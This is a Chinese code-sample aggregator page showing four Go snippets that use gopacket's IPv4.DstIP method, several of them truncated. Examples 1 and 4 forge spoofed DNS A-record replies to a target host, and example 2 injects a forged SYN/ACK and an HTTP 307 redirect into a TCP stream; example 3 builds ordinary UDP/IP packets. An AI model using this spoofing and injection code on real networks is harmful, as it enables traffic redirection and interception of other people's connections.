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Golang IPv4.DstIP方法代码示例

本文整理汇总了Golang中github.com/google/gopacket/layers.IPv4.DstIP方法的典型用法代码示例。如果您正苦于以下问题:Golang IPv4.DstIP方法的具体用法?Golang IPv4.DstIP怎么用?Golang IPv4.DstIP使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在github.com/google/gopacket/layers.IPv4的用法示例。


在下文中一共展示了IPv4.DstIP方法的4个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Golang代码示例。

示例1: craftAnswer

/*
    FUNCTION: craftAnswer(ethernetLayer *layers.Ethernet, ipLayer *layers.IPv4, dnsLayer *layers.DNS, udpLayer *layers.UDP) []byte{
    RETURNS: Byte array containing the spoofed response DNS packet data
    ARGUMENTS:
								*layers.Ethernet ethernetLayer - the ethernet part of the packet recieved
								*layers.DNS dnsLayer - the dns part of the packet recieved
                *layers.IPv4 ipLayer - the ip part of the packet recieved
                *layers.UDP udpLayer - the udp part of the packet recieved

    ABOUT:
    Crafts a spoofed dns packet using the incoming query.
*/
func craftAnswer(ethernetLayer *layers.Ethernet, ipLayer *layers.IPv4, dnsLayer *layers.DNS, udpLayer *layers.UDP) []byte {

	//if not a question return
	if dnsLayer.QR || ipLayer.SrcIP.String() != target {
		return nil
	}

	//must build every layer to send DNS packets
	ethMac := ethernetLayer.DstMAC
	ethernetLayer.DstMAC = ethernetLayer.SrcMAC
	ethernetLayer.SrcMAC = ethMac

	ipSrc := ipLayer.SrcIP
	ipLayer.SrcIP = ipLayer.DstIP
	ipLayer.DstIP = ipSrc

	srcPort := udpLayer.SrcPort
	udpLayer.SrcPort = udpLayer.DstPort
	udpLayer.DstPort = srcPort
	err = udpLayer.SetNetworkLayerForChecksum(ipLayer)
	checkError(err)

	var answer layers.DNSResourceRecord
	answer.Type = layers.DNSTypeA
	answer.Class = layers.DNSClassIN
	answer.TTL = 200
	answer.IP = ipAddr

	dnsLayer.QR = true

	for _, q := range dnsLayer.Questions {
		if q.Type != layers.DNSTypeA || q.Class != layers.DNSClassIN {
			continue
		}

		answer.Name = q.Name

		dnsLayer.Answers = append(dnsLayer.Answers, answer)
		dnsLayer.ANCount = dnsLayer.ANCount + 1
	}

	buf := gopacket.NewSerializeBuffer()
	opts := gopacket.SerializeOptions{
		FixLengths:       true,
		ComputeChecksums: true,
	}

	err = gopacket.SerializeLayers(buf, opts, ethernetLayer, ipLayer, udpLayer, dnsLayer)
	checkError(err)

	return buf.Bytes()
}
开发者ID:razc411,项目名称:DNSMangler,代码行数:64,代码来源:main.go

示例2: main

func main() {
	defer util.Run()()

	var eth layers.Ethernet
	var dot1q layers.Dot1Q
	var ip4 layers.IPv4
	var tcp layers.TCP
	var payload gopacket.Payload

	r := rand.New(rand.NewSource(time.Now().UnixNano()))
	hijackSeq := r.Uint32()

	decoded := make([]gopacket.LayerType, 0, 4)

	streamInjector := attack.TCPStreamInjector{}
	err := streamInjector.Init("0.0.0.0")
	if err != nil {
		panic(err)
	}

	handle, err := pcap.OpenLive(*iface, int32(*snaplen), true, pcap.BlockForever)
	if err != nil {
		log.Fatal("error opening pcap handle: ", err)
	}
	if err := handle.SetBPFFilter(*filter); err != nil {
		log.Fatal("error setting BPF filter: ", err)
	}
	parser := gopacket.NewDecodingLayerParser(layers.LayerTypeEthernet,
		&eth, &dot1q, &ip4, &tcp, &payload)

	log.Print("collecting packets...\n")
	for {
		data, ci, err := handle.ZeroCopyReadPacketData()
		if err != nil {
			log.Printf("error getting packet: %v %s", err, ci)
			continue
		}
		err = parser.DecodeLayers(data, &decoded)
		if err != nil {
			log.Printf("error decoding packet: %v", err)
			continue
		}

		// craft a response to the client
		// here we reuse the client's header
		// by swapping addrs and ports

		// swap ip addrs
		srcip := ip4.SrcIP
		ip4.SrcIP = ip4.DstIP
		ip4.DstIP = srcip

		// swap ports
		srcport := tcp.SrcPort
		tcp.SrcPort = tcp.DstPort
		tcp.DstPort = srcport

		// empty payload for SYN/ACK handshake completion
		streamInjector.Payload = []byte("")
		seq := tcp.Seq
		tcp.Seq = hijackSeq
		tcp.Ack = uint32(tcpassembly.Sequence(seq).Add(1))
		tcp.ACK = true
		tcp.SYN = true
		tcp.RST = false

		err = streamInjector.SetIPLayer(ip4)
		if err != nil {
			panic(err)
		}
		streamInjector.SetTCPLayer(tcp)
		err = streamInjector.Write()
		if err != nil {
			panic(err)
		}
		log.Print("SYN/ACK packet sent!\n")

		// send rediction payload
		redirect := []byte("HTTP/1.1 307 Temporary Redirect\r\nLocation: http://127.0.0.1/?\r\n\r\n")
		streamInjector.Payload = redirect
		tcp.PSH = true
		tcp.SYN = false
		tcp.ACK = true
		tcp.Ack = uint32(tcpassembly.Sequence(seq).Add(1))
		tcp.Seq = uint32(tcpassembly.Sequence(hijackSeq).Add(1))

		err = streamInjector.SetIPLayer(ip4)
		if err != nil {
			panic(err)
		}
		streamInjector.SetTCPLayer(tcp)
		err = streamInjector.Write()
		if err != nil {
			panic(err)
		}
		log.Print("redirect packet sent!\n")

		// send FIN
		streamInjector.Payload = []byte("")
		tcp.FIN = true
//.........这里部分代码省略.........
开发者ID:roger2000hk,项目名称:HoneyBadger,代码行数:101,代码来源:main.go

示例3: creatPacket

func (h *dnsStream) creatPacket(msg_buf []byte, nomalPack chan gopacket.Packet) {
	var sourcePort, DesPort int16
	//read the port from tranport flow
	b_buf := bytes.NewBuffer(h.transport.Src().Raw())
	binary.Read(b_buf, binary.BigEndian, &sourcePort)
	b_buf = bytes.NewBuffer(h.transport.Dst().Raw())
	binary.Read(b_buf, binary.BigEndian, &DesPort)
	//new a UDP layer
	udpLayer := layers.UDP{
		BaseLayer: layers.BaseLayer{
			Contents: []byte{},
			Payload:  msg_buf,
		},
		SrcPort:  layers.UDPPort(sourcePort),
		DstPort:  layers.UDPPort(DesPort),
		Length:   1024,
		Checksum: 30026,
	}
	UDPNewSerializBuffer := gopacket.NewSerializeBuffer() // this buffer could be used as a payload of IP layer
	udpBuffer, _ := UDPNewSerializBuffer.PrependBytes(len(msg_buf))

	copy(udpBuffer, msg_buf)

	ops := gopacket.SerializeOptions{
		FixLengths:       true,
		ComputeChecksums: true,
	}

	if h.net.EndpointType() == layers.EndpointIPv4 {
		ip_checksum := layers.IPv4{}
		ip_checksum.Version = 4
		ip_checksum.TTL = 0
		ip_checksum.SrcIP = h.net.Src().Raw()
		ip_checksum.DstIP = h.net.Dst().Raw()
		udpLayer.SetNetworkLayerForChecksum(&ip_checksum)
	} else {
		ip6_checksum := layers.IPv6{}
		ip6_checksum.Version = 6
		ip6_checksum.NextHeader = layers.IPProtocolNoNextHeader
		ip6_checksum.HopLimit = 0
		ip6_checksum.SrcIP = h.net.Src().Raw()
		ip6_checksum.DstIP = h.net.Dst().Raw()
		udpLayer.SetNetworkLayerForChecksum(&ip6_checksum)
	}
	err := udpLayer.SerializeTo(UDPNewSerializBuffer, ops)
	if err != nil {
		fmt.Print("error in create udp Layer")
		return
		//err = nil
		//	need err handle there
	}

	fmt.Println("finished creat udplayer, the length is ", udpLayer.Length)
	if h.net.EndpointType() == layers.EndpointIPv4 { // if it is from ipv4, construct a ipv4 layer
		ip := layers.IPv4{
			BaseLayer: layers.BaseLayer{
				Contents: []byte{},
				Payload:  UDPNewSerializBuffer.Bytes(),
			},
			Version:    4,
			IHL:        0,
			TOS:        0,
			Length:     0,
			Id:         0,
			Flags:      0,
			FragOffset: 0,
			TTL:        0,
			Protocol:   layers.IPProtocolUDP,
			Checksum:   0,
			SrcIP:      h.net.Src().Raw(),
			DstIP:      h.net.Dst().Raw(),
			Options:    []layers.IPv4Option{},
			Padding:    []byte{},
		}
		//serialize it and use the serilize buffer to new packet
		IPserializeBuffer := gopacket.NewSerializeBuffer()

		ipBuffer, _ := IPserializeBuffer.PrependBytes(len(UDPNewSerializBuffer.Bytes()))
		copy(ipBuffer, UDPNewSerializBuffer.Bytes())
		err = ip.SerializeTo(IPserializeBuffer, ops)
		if err != nil {
			fmt.Print("error in create ipv4 Layer")
			return
			//err = nil
			//	need err handle there
		}

		fmt.Println("finished creat ip, the length is ", ip.Length)
		resultPack := gopacket.NewPacket(IPserializeBuffer.Bytes(), layers.LayerTypeIPv4, gopacket.Default)
		resultPack.Metadata().CaptureLength = len(resultPack.Data())
		resultPack.Metadata().Length = len(resultPack.Data())
		//seems the capture length is 0 so the pcapwrite cannot write it, try to give them a write value
		nomalPack <- resultPack
		return

	} else if h.net.EndpointType() == layers.EndpointIPv6 {
		// if it is in IPV6 contruct ipv6 packet
		ip := layers.IPv6{
			BaseLayer: layers.BaseLayer{
				Contents: []byte{},
//.........这里部分代码省略.........
开发者ID:RunxiaWan,项目名称:oganization,代码行数:101,代码来源:main.go

示例4: spoof


//.........这里部分代码省略.........

		// if recursion was requested, it is available
		if dnsLayer.RD {
			dnsLayer.RA = true
		}

		// for each question
		for i = 0; i < dnsLayer.QDCount; i++ {

			// get the question
			q = dnsLayer.Questions[i]

			// verify this is an A-IN record question
			if q.Type != layers.DNSTypeA || q.Class != layers.DNSClassIN {
				continue
			}

			// copy the name across to the response
			a.Name = q.Name

			// append the answer to the original query packet
			dnsLayer.Answers = append(dnsLayer.Answers, a)
			dnsLayer.ANCount = dnsLayer.ANCount + 1

		}

		// swap ethernet macs
		ethMac = ethLayer.SrcMAC
		ethLayer.SrcMAC = ethLayer.DstMAC
		ethLayer.DstMAC = ethMac

		// swap the ip
		ipv4Addr = ipv4Layer.SrcIP
		ipv4Layer.SrcIP = ipv4Layer.DstIP
		ipv4Layer.DstIP = ipv4Addr

		// swap the udp ports
		udpPort = udpLayer.SrcPort
		udpLayer.SrcPort = udpLayer.DstPort
		udpLayer.DstPort = udpPort

		// set the UDP to be checksummed by the IP layer
		err = udpLayer.SetNetworkLayerForChecksum(&ipv4Layer)
		if err != nil {
			panic(err)
		}

		// serialize packets
		err = gopacket.SerializeLayers(outbuf, serialOpts, &ethLayer, &ipv4Layer, &udpLayer, &dnsLayer)
		if err != nil {
			panic(err)
		}

		// write packet
		err = ifaceHandle.WritePacketData(outbuf.Bytes())
		if err != nil {
			panic(err)
		}

		fmt.Println("Response sent")

		// comment out for debugging
		continue

		// DEBUGGG--------------------------------------------------------------
开发者ID:gh0std4ncer,项目名称:gogospoofdns,代码行数:66,代码来源:spoof.go


注:本文中的github.com/google/gopacket/layers.IPv4.DstIP方法示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。